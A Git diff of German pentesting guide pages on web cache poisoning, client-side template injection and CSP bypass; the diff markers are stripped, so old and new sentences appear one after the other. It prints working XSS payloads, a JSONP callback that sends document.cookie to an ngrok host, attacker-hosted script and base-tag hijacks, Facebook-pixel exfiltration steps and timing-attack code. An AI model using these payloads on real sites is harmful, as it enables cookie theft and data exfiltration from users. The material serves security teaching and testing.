Sobald du die **Seite** identifiziert hast, die missbraucht werden kann, welchen **Parameter**/**Header** du verwenden und **wie** du ihn **missbrauchen** kannst, musst du die Seite im Cache speichern. Je nach Ressource, die du im Cache speichern möchtest, kann dies einige Zeit in Anspruch nehmen; du musst möglicherweise mehrere Sekunden lang versuchen.
Sobald du die **Seite** identifiziert hast, die ausgenutzt werden kann, welchen **Parameter**/**Header** du verwenden und **wie** du ihn **ausnutzen** kannst, musst du die Seite im Cache speichern. Je nach Ressource, die du im Cache speichern möchtest, kann dies einige Zeit in Anspruch nehmen, du musst möglicherweise mehrere Sekunden lang versuchen.
Der Header **`X-Cache`** in der Antwort könnte sehr nützlich sein, da er den Wert **`miss`** haben kann, wenn die Anfrage nicht im Cache gespeichert wurde, und den Wert **`hit`**, wenn sie im Cache gespeichert ist.\
Der Header **`Cache-Control`** ist ebenfalls interessant, um zu wissen, ob eine Ressource im Cache gespeichert wird und wann die Ressource das nächste Mal wieder im Cache gespeichert wird: `Cache-Control: public, max-age=1800`
@ -62,9 +62,9 @@ Beim Caching einer Anfrage sei **vorsichtig mit den Headern, die du verwendest**
### Easiest example
Ein Header wie `X-Forwarded-For` wird unsaniert in der Antwort reflektiert.\
Du kannst eine grundlegende XSS-Payload senden und den Cache vergiften, sodass jeder, der auf die Seite zugreift, XSS ausgesetzt wird:
```markup
Ein Header wie `X-Forwarded-For` wird unsanitized in der Antwort reflektiert.\
Du kannst eine grundlegende XSS-Payload senden und den Cache vergiften, sodass jeder, der auf die Seite zugreift, XSSed wird:
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
@ -80,7 +80,7 @@ cache-poisoning-to-dos.md
### Verwendung von Web-Cache-Poisoning zur Ausnutzung von Cookie-Verwundbarkeiten
Cookies könnten auch in der Antwort einer Seite reflektiert werden. Wenn Sie dies missbrauchen können, um beispielsweise ein XSS zu verursachen, könnten Sie in der Lage sein, XSS in mehreren Clients auszunutzen, die die bösartige Cache-Antwort laden.
```markup
```html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
@ -108,7 +108,7 @@ cache-poisoning-via-url-discrepancies.md
### Verwendung mehrerer Header zur Ausnutzung von Web-Cache-Poisoning-Schwachstellen <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Manchmal müssen Sie **mehrere unverschlüsselte Eingaben ausnutzen**, um einen Cache missbrauchen zu können. Zum Beispiel können Sie einen **Open Redirect** finden, wenn Sie `X-Forwarded-Host` auf eine von Ihnen kontrollierte Domain und `X-Forwarded-Scheme` auf `http` setzen. **Wenn** der **Server** alle **HTTP**-Anfragen **an HTTPS** weiterleitet und den Header `X-Forwarded-Scheme` als Domainnamen für die Weiterleitung verwendet. Sie können steuern, wohin die Seite durch die Weiterleitung zeigt.
```markup
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
@ -117,7 +117,7 @@ X-Forwarded-Scheme: http
### Ausnutzen des begrenzten `Vary`-Headers
Wenn Sie festgestellt haben, dass der **`X-Host`**-Header als **Domainname zum Laden einer JS-Ressource** verwendet wird, der **`Vary`**-Header in der Antwort jedoch **`User-Agent`** angibt, müssen Sie einen Weg finden, den User-Agent des Opfers zu exfiltrieren und den Cache mit diesem User-Agent zu vergiften:
```markup
```html
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
@ -156,7 +156,7 @@ Beispielverwendung: `wcvs -u example.com`
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS leitete den Fragmentteil innerhalb der URL weiter, ohne ihn zu entfernen, und generierte den Cache-Schlüssel nur unter Verwendung des Hosts, des Pfads und der Abfrage (das Fragment ignorierend). Daher wurde die Anfrage `/#/../?r=javascript:alert(1)` an das Backend als `/#/../?r=javascript:alert(1)` gesendet, und der Cache-Schlüssel enthielt nicht die Payload, nur Host, Pfad und Abfrage.
ATS leitete den Fragmentteil innerhalb der URL weiter, ohne ihn zu entfernen, und generierte den Cache-Schlüssel nur unter Verwendung des Hosts, Pfads und der Abfrage (unter Ignorierung des Fragments). Daher wurde die Anfrage `/#/../?r=javascript:alert(1)` an das Backend als `/#/../?r=javascript:alert(1)` gesendet, und der Cache-Schlüssel enthielt nicht die Payload, nur Host, Pfad und Abfrage.
### GitHub CP-DoS
@ -176,7 +176,7 @@ Cloudflare hat zuvor 403-Antworten zwischengespeichert. Der Versuch, auf S3 oder
### Injecting Keyed Parameters
Caches enthalten häufig spezifische GET-Parameter im Cache-Schlüssel. Zum Beispiel speicherte Varnish von Fastly den `size`-Parameter in Anfragen. Wenn jedoch eine URL-kodierte Version des Parameters (z. B. `siz%65`) auch mit einem fehlerhaften Wert gesendet wurde, wurde der Cache-Schlüssel unter Verwendung des korrekten `size`-Parameters konstruiert. Das Backend würde jedoch den Wert im URL-kodierten Parameter verarbeiten. Die URL-Kodierung des zweiten `size`-Parameters führte zu dessen Auslassung durch den Cache, aber zu seiner Nutzung durch das Backend. Das Zuweisen eines Wertes von 0 zu diesem Parameter führte zu einem zwischenspeicherbaren 400 Bad Request-Fehler.
Caches enthalten häufig spezifische GET-Parameter im Cache-Schlüssel. Zum Beispiel hat Fastlys Varnish den `size`-Parameter in Anfragen zwischengespeichert. Wenn jedoch eine URL-kodierte Version des Parameters (z.B. `siz%65`) auch mit einem fehlerhaften Wert gesendet wurde, wurde der Cache-Schlüssel unter Verwendung des korrekten `size`-Parameters konstruiert. Das Backend würde jedoch den Wert im URL-kodierten Parameter verarbeiten. Die URL-Kodierung des zweiten `size`-Parameters führte zu seiner Auslassung durch den Cache, aber zu seiner Nutzung durch das Backend. Das Zuweisen eines Wertes von 0 zu diesem Parameter führte zu einem zwischenspeicherbaren 400 Bad Request-Fehler.
### User Agent Rules
@ -194,7 +194,7 @@ Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spezifiziert die ak
Das Ziel von Cache Deception ist es, dass Clients **Ressourcen laden, die mit ihren sensiblen Informationen vom Cache gespeichert werden**.
Zunächst einmal beachten Sie, dass **Erweiterungen** wie `.css`, `.js`, `.png` usw. normalerweise **konfiguriert** sind, um im **Cache** **gespeichert** zu werden. Daher, wenn Sie `www.example.com/profile.php/nonexistent.js` aufrufen, wird der Cache wahrscheinlich die Antwort speichern, weil er die `.js` **Erweiterung** sieht. Wenn jedoch die **Anwendung** mit den **sensiblen** Benutzerinhalten, die in _www.example.com/profile.php_ gespeichert sind, **antwortet**, können Sie diese Inhalte von anderen Benutzern **stehlen**.
Zunächst ist zu beachten, dass **Erweiterungen** wie `.css`, `.js`, `.png` usw. normalerweise **konfiguriert** sind, um im **Cache** **gespeichert** zu werden. Daher, wenn Sie `www.example.com/profile.php/nonexistent.js` aufrufen, wird der Cache wahrscheinlich die Antwort speichern, da er die `.js` **Erweiterung** sieht. Wenn jedoch die **Anwendung** mit den **sensiblen** Benutzerinhalten, die in _www.example.com/profile.php_ gespeichert sind, **wiedergibt**, können Sie diese Inhalte von anderen Benutzern **stehlen**.
Weitere Dinge, die getestet werden sollten:
@ -205,7 +205,7 @@ Weitere Dinge, die getestet werden sollten:
- _www.example.com/profile.php/%2e%2e/test.js_
- _Verwenden Sie weniger bekannte Erweiterungen wie_ `.avif`
Ein weiteres sehr klares Beispiel finden Sie in diesem Bericht: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
Ein weiteres sehr klares Beispiel findet sich in diesem Bericht: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
In dem Beispiel wird erklärt, dass, wenn Sie eine nicht vorhandene Seite wie _http://www.example.com/home.php/non-existent.css_ laden, der Inhalt von _http://www.example.com/home.php_ (**mit den sensiblen Informationen des Benutzers**) zurückgegeben wird und der Cache-Server das Ergebnis speichern wird.\
Dann kann der **Angreifer** _http://www.example.com/home.php/non-existent.css_ in seinem eigenen Browser aufrufen und die **vertraulichen Informationen** der Benutzer beobachten, die zuvor darauf zugegriffen haben.

2
src/pentesting-web/client-side-template-injection-csti.md
View File

@ -31,7 +31,7 @@ Sie können eine **verwundbare Vue**-Implementierung unter [https://vue-client-s
Funktionierender Payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
Und der **Quellcode** des verwundbaren Beispiels hier: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
```html
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
```

64
src/pentesting-web/content-security-policy-csp-bypass/README.md
View File

@ -16,16 +16,16 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### Headers
### Header
CSP kann mit diesen Headern durchgesetzt oder überwacht werden:
- `Content-Security-Policy`: Setzt die CSP durch; der Browser blockiert alle Verstöße.
- `Content-Security-Policy-Report-Only`: Wird zur Überwachung verwendet; meldet Verstöße, ohne sie zu blockieren. Ideal für Tests in Pre-Production-Umgebungen.
### Defining Resources
### Ressourcen definieren
CSP schränkt die Ursprünge für das Laden sowohl aktiver als auch passiver Inhalte ein und kontrolliert Aspekte wie die Ausführung von Inline-JavaScript und die Verwendung von `eval()`. Ein Beispiel für eine Richtlinie ist:
CSP beschränkt die Ursprünge für das Laden von aktiven und passiven Inhalten und steuert Aspekte wie die Ausführung von Inline-JavaScript und die Verwendung von `eval()`. Eine Beispielrichtlinie ist:
```bash
default-src 'none';
img-src 'self';
@ -52,13 +52,13 @@ object-src 'none';
- **object-src**: Definiert erlaubte Quellen für `<object>`, `<embed>` und `<applet>`-Elemente.
- **base-uri**: Gibt erlaubte URLs für das Laden mit `<base>`-Elementen an.
- **form-action**: Listet gültige Endpunkte für Formularübermittlungen auf.
- **plugin-types**: Beschränkt MIME-Typen, die eine Seite aufrufen kann.
- **plugin-types**: Beschränkt MIME-Typen, die eine Seite aufrufen darf.
- **upgrade-insecure-requests**: Weist Browser an, HTTP-URLs in HTTPS umzuschreiben.
- **sandbox**: Wendet Einschränkungen an, die dem Sandbox-Attribut eines `<iframe>` ähnlich sind.
- **sandbox**: Wendet Einschränkungen an, die dem Sandbox-Attribut eines `<iframe>` ähneln.
- **report-to**: Gibt eine Gruppe an, an die ein Bericht gesendet wird, wenn die Richtlinie verletzt wird.
- **worker-src**: Gibt gültige Quellen für Worker-, SharedWorker- oder ServiceWorker-Skripte an.
- **prefetch-src**: Gibt gültige Quellen für Ressourcen an, die abgerufen oder vorab abgerufen werden.
- **navigate-to**: Beschränkt die URLs, zu denen ein Dokument auf beliebige Weise navigieren kann (a, Formular, window.location, window.open usw.)
- **navigate-to**: Beschränkt die URLs, zu denen ein Dokument auf irgendeinem Weg navigieren kann (a, form, window.location, window.open usw.)
### Quellen
@ -133,7 +133,7 @@ Wenn Sie es irgendwie schaffen können, dass ein **erlaubter JS-Code ein neues S
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Funktionierender Payload:
```markup
```html
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
@ -144,7 +144,7 @@ Funktionierender Payload:
Content-Security-Policy: script-src 'self' ;
```
Funktionierende Payloads:
```markup
```html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
@ -156,12 +156,12 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
Wenn Sie eine JS-Datei hochladen können, können Sie diese CSP umgehen:
Funktionierender Payload:
```markup
```html
"/>'><script src="/uploads/picture.png.js"></script>
```
Es ist jedoch sehr wahrscheinlich, dass der Server **die hochgeladene Datei validiert** und nur **bestimmte Dateitypen** zulässt.
Darüber hinaus, selbst wenn Sie einen **JS-Code innerhalb** einer Datei mit einer vom Server akzeptierten Erweiterung (wie: _script.png_) hochladen könnten, wird dies nicht ausreichen, da einige Server wie der Apache-Server **den MIME-Typ der Datei basierend auf der Erweiterung auswählen** und Browser wie Chrome **die Ausführung von Javascript**-Code in etwas, das ein Bild sein sollte, **ablehnen**. "Hoffentlich" gibt es Fehler. Zum Beispiel habe ich von einem CTF gelernt, dass **Apache die _**.wave**_ Erweiterung nicht kennt, daher wird sie nicht mit einem **MIME-Typ wie audio/** bedient.
Darüber hinaus, selbst wenn Sie einen **JS-Code innerhalb** einer Datei mit einer vom Server akzeptierten Erweiterung (wie: _script.png_) hochladen könnten, wird dies nicht ausreichen, da einige Server wie der Apache-Server **den MIME-Typ der Datei basierend auf der Erweiterung auswählen** und Browser wie Chrome **die Ausführung von Javascript**-Code in etwas, das ein Bild sein sollte, **ablehnen**. "Hoffentlich" gibt es Fehler. Zum Beispiel habe ich von einem CTF gelernt, dass **Apache die _**.wave**_-Erweiterung nicht kennt, daher wird sie nicht mit einem **MIME-Typ wie audio/** bedient.
Von hier aus, wenn Sie ein XSS und einen Datei-Upload finden und es Ihnen gelingt, eine **falsch interpretierte Erweiterung** zu finden, könnten Sie versuchen, eine Datei mit dieser Erweiterung und dem Inhalt des Skripts hochzuladen. Oder, wenn der Server das korrekte Format der hochgeladenen Datei überprüft, erstellen Sie ein Polyglot ([einige Polyglot-Beispiele hier](https://github.com/Polydet/polyglot-database)).
@ -172,7 +172,7 @@ Wenn es nicht möglich ist, JS zu injizieren, könnten Sie dennoch versuchen, be
### Third Party Endpoints + ('unsafe-eval')
> [!WARNING]
> Für einige der folgenden Payloads **wird `unsafe-eval` nicht einmal benötigt**.
> Für einige der folgenden Payloads **ist `unsafe-eval` nicht einmal erforderlich**.
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
@ -197,11 +197,11 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Payloads mit Angular + einer Bibliothek mit Funktionen, die das `window`-Objekt zurückgeben ([siehe diesen Beitrag](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
#### Payloads mit Angular + einer Bibliothek mit Funktionen, die das `window`-Objekt zurückgeben ([schau dir diesen Beitrag an](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!NOTE]
> Der Beitrag zeigt, dass Sie **alle** **Bibliotheken** von `cdn.cloudflare.com` (oder einem anderen erlaubten JS-Bibliotheks-Repo) **laden**, alle hinzugefügten Funktionen aus jeder Bibliothek ausführen und **überprüfen** können, **welche Funktionen aus welchen Bibliotheken das `window`-Objekt zurückgeben**.
```markup
> Der Beitrag zeigt, dass du **alle** **Bibliotheken** von `cdn.cloudflare.com` (oder einem anderen erlaubten JS-Bibliotheks-Repo) **laden**, alle hinzugefügten Funktionen aus jeder Bibliothek ausführen und **überprüfen** kannst, **welche Funktionen aus welchen Bibliotheken das `window`-Objekt zurückgeben**.
```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
@ -243,7 +243,7 @@ ng-init="c.init()"
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
Mehr [**Payloads aus diesem Artikel**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
Mehr [**Payloads aus diesem Bericht**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
@ -275,7 +275,7 @@ Es ist möglich, Google Apps Script zu missbrauchen, um Informationen auf einer
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Szenarien wie dieses, in denen `script-src` auf `self` und eine bestimmte, auf die Whitelist gesetzte Domain eingestellt ist, können mit JSONP umgangen werden. JSONP-Endpunkte erlauben unsichere Callback-Methoden, die es einem Angreifer ermöglichen, XSS durchzuführen, funktionierender Payload:
```markup
```html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
```
@ -286,7 +286,7 @@ https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **enthält einsatzbereite JSONP-Endpunkte zum Umgehen von CSP auf verschiedenen Websites.**
Die gleiche Schwachstelle tritt auf, wenn der **vertrauenswürdige Endpunkt eine Open Redirect enthält**, da, wenn der ursprüngliche Endpunkt vertrauenswürdig ist, auch die Weiterleitungen vertrauenswürdig sind.
Die gleiche Schwachstelle tritt auf, wenn der **vertrauenswürdige Endpunkt eine Open Redirect enthält**, da, wenn der ursprüngliche Endpunkt vertrauenswürdig ist, auch Weiterleitungen vertrauenswürdig sind.
### Missbrauch durch Dritte
@ -319,10 +319,10 @@ Sie sollten in der Lage sein, Daten zu exfiltrieren, ähnlich wie es immer mit [
2. Erstellen Sie eine neue "Facebook Login"-App und wählen Sie "Website".
3. Gehen Sie zu "Einstellungen -> Grundlegend" und holen Sie sich Ihre "App-ID".
4. Auf der Zielseite, von der Sie Daten exfiltrieren möchten, können Sie Daten direkt über das Facebook SDK-Gadget "fbq" durch ein "customEvent" und die Datenlast exfiltrieren.
5. Gehen Sie zu Ihrem App "Event Manager" und wählen Sie die von Ihnen erstellte Anwendung aus (beachten Sie, dass der Event-Manager in einer URL zu finden sein könnte, die ähnlich aussieht wie: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
5. Gehen Sie zu Ihrem App "Event Manager" und wählen Sie die von Ihnen erstellte Anwendung aus (beachten Sie, dass der Event-Manager in einer URL ähnlich wie dieser gefunden werden könnte: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Wählen Sie die Registerkarte "Testereignisse", um die von "Ihrer" Website gesendeten Ereignisse zu sehen.
Führen Sie dann auf der Seite des Opfers den folgenden Code aus, um das Facebook-Tracking-Pixel zu initialisieren, das auf die App-ID des Facebook-Entwicklerkontos des Angreifers zeigt, und geben Sie ein benutzerdefiniertes Ereignis wie folgt aus:
Führen Sie dann auf der Seite des Opfers den folgenden Code aus, um das Facebook-Tracking-Pixel zu initialisieren, das auf die App-ID des Angreifers im Facebook-Entwicklerkonto verweist, und geben Sie ein benutzerdefiniertes Ereignis wie folgt aus:
```JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
@ -361,7 +361,7 @@ Online-Beispiel:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin
Wenn die **base-uri**-Richtlinie fehlt, können Sie dies ausnutzen, um eine [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) durchzuführen.
Darüber hinaus, wenn die **Seite ein Skript mit einem relativen Pfad lädt** (wie `<script src="/js/app.js">`) unter Verwendung eines **Nonce**, können Sie den **base** **tag** ausnutzen, um das Skript von **Ihrem eigenen Server zu laden und so eine XSS zu erreichen.**\
Darüber hinaus, wenn die **Seite ein Skript mit einem relativen Pfad lädt** (wie `<script src="/js/app.js">`) unter Verwendung eines **Nonce**, können Sie den **base** **tag** ausnutzen, um das Skript von **Ihrem eigenen Server zu laden und eine XSS zu erreichen.**\
Wenn die anfällige Seite mit **httpS** geladen wird, verwenden Sie eine httpS-URL im Basis-Tag.
```html
<base href="https://www.attacker.com/" />
@ -370,7 +370,7 @@ Wenn die anfällige Seite mit **httpS** geladen wird, verwenden Sie eine httpS-U
Eine spezifische Richtlinie, bekannt als Content Security Policy (CSP), kann JavaScript-Ereignisse einschränken. Dennoch führt AngularJS benutzerdefinierte Ereignisse als Alternative ein. Innerhalb eines Ereignisses stellt AngularJS ein einzigartiges Objekt `$event` zur Verfügung, das auf das native Browser-Ereignisobjekt verweist. Dieses `$event`-Objekt kann ausgenutzt werden, um die CSP zu umgehen. Bemerkenswerterweise besitzt das `$event/event`-Objekt in Chrome ein `path`-Attribut, das ein Objektarray enthält, das in der Ausführungskette des Ereignisses beteiligt ist, wobei das `window`-Objekt stets am Ende positioniert ist. Diese Struktur ist entscheidend für Sandbox-Umgehungstaktiken.
Durch die Weiterleitung dieses Arrays an den `orderBy`-Filter ist es möglich, über es zu iterieren und das terminale Element (das `window`-Objekt) zu nutzen, um eine globale Funktion wie `alert()` auszulösen. Der unten dargestellte Codeausschnitt verdeutlicht diesen Prozess:
Durch die Weiterleitung dieses Arrays an den `orderBy`-Filter ist es möglich, über es zu iterieren und das terminale Element (das `window`-Objekt) zu nutzen, um eine globale Funktion wie `alert()` auszulösen. Der unten demonstrierte Codeausschnitt verdeutlicht diesen Prozess:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
@ -399,7 +399,7 @@ Andere JSONP beliebige Ausführung Endpunkte können [**hier**](https://github.c
Was passiert, wenn CSP auf serverseitige Umleitungen trifft? Wenn die Umleitung zu einer anderen Herkunft führt, die nicht erlaubt ist, wird sie weiterhin fehlschlagen.
Laut der Beschreibung in [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) kann die Umleitung jedoch, wenn sie zu einem anderen Pfad führt, die ursprünglichen Einschränkungen umgehen.
Wenn die Umleitung jedoch zu einem anderen Pfad führt, kann sie die ursprünglichen Einschränkungen umgehen, gemäß der Beschreibung in [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects).
Hier ist ein Beispiel:
```html
@ -419,13 +419,13 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</body>
</html>
```
Wenn CSP auf `https://www.google.com/a/b/c/d` gesetzt ist, werden sowohl die Skripte `/test` als auch `/a/test` von CSP blockiert.
Wenn CSP auf `https://www.google.com/a/b/c/d` gesetzt ist, werden sowohl `/test` als auch `/a/test` Skripte von CSP blockiert.
Die endgültige `http://localhost:5555/301` wird jedoch **serverseitig auf `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` umgeleitet**. Da es sich um eine Umleitung handelt, wird der **Pfad nicht berücksichtigt**, und das **Skript kann geladen werden**, wodurch die Pfadbeschränkung umgangen wird.
Mit dieser Umleitung wird selbst dann, wenn der Pfad vollständig angegeben ist, weiterhin umgangen.
Daher ist die beste Lösung sicherzustellen, dass die Website keine offenen Umleitungsanfälligkeiten hat und dass es keine Domains gibt, die in den CSP-Regeln ausgenutzt werden können.
Daher ist die beste Lösung, sicherzustellen, dass die Website keine offenen Umleitungsanfälligkeiten hat und dass es keine Domains gibt, die in den CSP-Regeln ausgenutzt werden können.
### Bypass CSP mit schwebendem Markup
@ -435,7 +435,7 @@ Lies [wie hier](../dangling-markup-html-scriptless-injection/index.html).
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` bedeutet, dass Sie jedes Skript im Code ausführen können (XSS kann Code ausführen) und `img-src *` bedeutet, dass Sie auf der Webseite jedes Bild aus jeder Quelle verwenden können.
`'unsafe-inline'` bedeutet, dass Sie jeden Skript im Code ausführen können (XSS kann Code ausführen) und `img-src *` bedeutet, dass Sie auf der Webseite jedes Bild aus jeder Quelle verwenden können.
Sie können diese CSP umgehen, indem Sie die Daten über Bilder exfiltrieren (in diesem Fall missbraucht das XSS eine CSRF, bei der eine vom Bot zugängliche Seite eine SQLi enthält, und das Flag über ein Bild extrahiert wird):
```javascript
@ -462,7 +462,7 @@ Die Funktion **`importScripts`** von Service Workern ist nicht durch CSP eingesc
#### Chrome
Wenn ein **Parameter**, der von Ihnen gesendet wird, in die **Deklaration** der **Richtlinie** **eingefügt** wird, könnten Sie die **Richtlinie** auf eine Weise **ändern**, die sie **nutzlos** macht. Sie könnten **Script 'unsafe-inline'** mit einem dieser Umgehungen **erlauben**:
Wenn ein **Parameter**, den Sie senden, in die **Deklaration** der **Richtlinie** **eingefügt** wird, könnten Sie die **Richtlinie** auf eine Weise **ändern**, die sie **nutzlos** macht. Sie könnten **Script 'unsafe-inline'** mit einem dieser Umgehungen **erlauben**:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@ -478,9 +478,9 @@ Beispiel: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%
### img-src \*; via XSS (iframe) - Zeitangriff
Beachten Sie das Fehlen der Direktive `'unsafe-inline'`\
Diesmal können Sie das Opfer dazu bringen, eine Seite in **Ihrer Kontrolle** über **XSS** mit einem `<iframe` zu **laden**. Diesmal werden Sie das Opfer dazu bringen, auf die Seite zuzugreifen, von der Sie Informationen extrahieren möchten (**CSRF**). Sie können nicht auf den Inhalt der Seite zugreifen, aber wenn Sie irgendwie **die Zeit kontrollieren können, die die Seite zum Laden benötigt**, können Sie die Informationen extrahieren, die Sie benötigen.
Diesmal können Sie das Opfer **eine Seite laden** lassen, die **unter Ihrer Kontrolle** steht, über **XSS** mit einem `<iframe`. Diesmal werden Sie das Opfer dazu bringen, auf die Seite zuzugreifen, von der Sie Informationen extrahieren möchten (**CSRF**). Sie können nicht auf den Inhalt der Seite zugreifen, aber wenn Sie irgendwie **die Zeit kontrollieren können, die die Seite zum Laden benötigt**, können Sie die Informationen extrahieren, die Sie benötigen.
Diesmal wird ein **Flag** extrahiert, wann immer ein **Zeichen korrekt erraten wird**. Über SQLi benötigt die **Antwort** aufgrund der Schlaf-Funktion **mehr Zeit**. Dann werden Sie in der Lage sein, das Flag zu extrahieren:
Diesmal wird ein **Flag** extrahiert, wann immer ein **Zeichen korrekt erraten wird** über SQLi, die **Antwort** benötigt **mehr Zeit** aufgrund der Schlaf-Funktion. Dann werden Sie in der Lage sein, das Flag zu extrahieren:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -544,9 +544,9 @@ run()
Dieser Angriff würde einige soziale Ingenieurtechniken erfordern, bei denen der Angreifer **den Benutzer überzeugt, einen Link über das Lesezeichen des Browsers zu ziehen und abzulegen**. Dieses Lesezeichen würde **bösartigen JavaScript**-Code enthalten, der beim Ziehen und Ablegen oder Klicken im Kontext des aktuellen Webfensters ausgeführt wird, **CSP umgeht und es ermöglicht, sensible Informationen** wie Cookies oder Tokens zu stehlen.
Für weitere Informationen [**prüfen Sie den ursprünglichen Bericht hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
Für weitere Informationen [**überprüfen Sie den ursprünglichen Bericht hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP-Umgehung durch Einschränkung von CSP
### CSP-Bypass durch Einschränkung von CSP
In [**diesem CTF-Bericht**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) wird CSP umgangen, indem in ein erlaubtes iframe eine restriktivere CSP injiziert wird, die das Laden einer bestimmten JS-Datei verbietet, die dann über **Prototype Pollution** oder **DOM Clobbering** es ermöglichte, **ein anderes Skript zu missbrauchen, um ein beliebiges Skript zu laden**.
@ -557,7 +557,7 @@ src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
In [**diesem CTF-Bericht**](https://github.com/aszx87410/ctf-writeups/issues/48) war es möglich, über **HTML-Injection** eine **CSP** weiter zu **beschränken**, sodass ein Skript, das CSTI verhinderte, deaktiviert wurde und daher die **Schwachstelle ausnutzbar wurde.**\
CSP kann restriktiver gestaltet werden, indem **HTML-Meta-Tags** verwendet werden und Inline-Skripte deaktiviert werden, indem der **Eintrag** entfernt wird, der deren **Nonce** erlaubt, und **bestimmte Inline-Skripte über sha aktiviert werden:**
CSP kann restriktiver gestaltet werden, indem **HTML-Meta-Tags** verwendet werden und Inline-Skripte können deaktiviert werden, indem der **Eintrag** entfernt wird, der deren **Nonce** erlaubt, und spezifische Inline-Skripte über sha aktiviert werden:
```html
<meta
http-equiv="Content-Security-Policy"
@ -581,7 +581,7 @@ document.querySelector("DIV").innerHTML =
- Ein `iframe` wird erstellt, der auf eine URL zeigt (nennen wir sie `https://example.redirect.com`), die von CSP erlaubt ist.
- Diese URL leitet dann zu einer geheimen URL weiter (z. B. `https://usersecret.example2.com`), die **nicht erlaubt** ist von CSP.
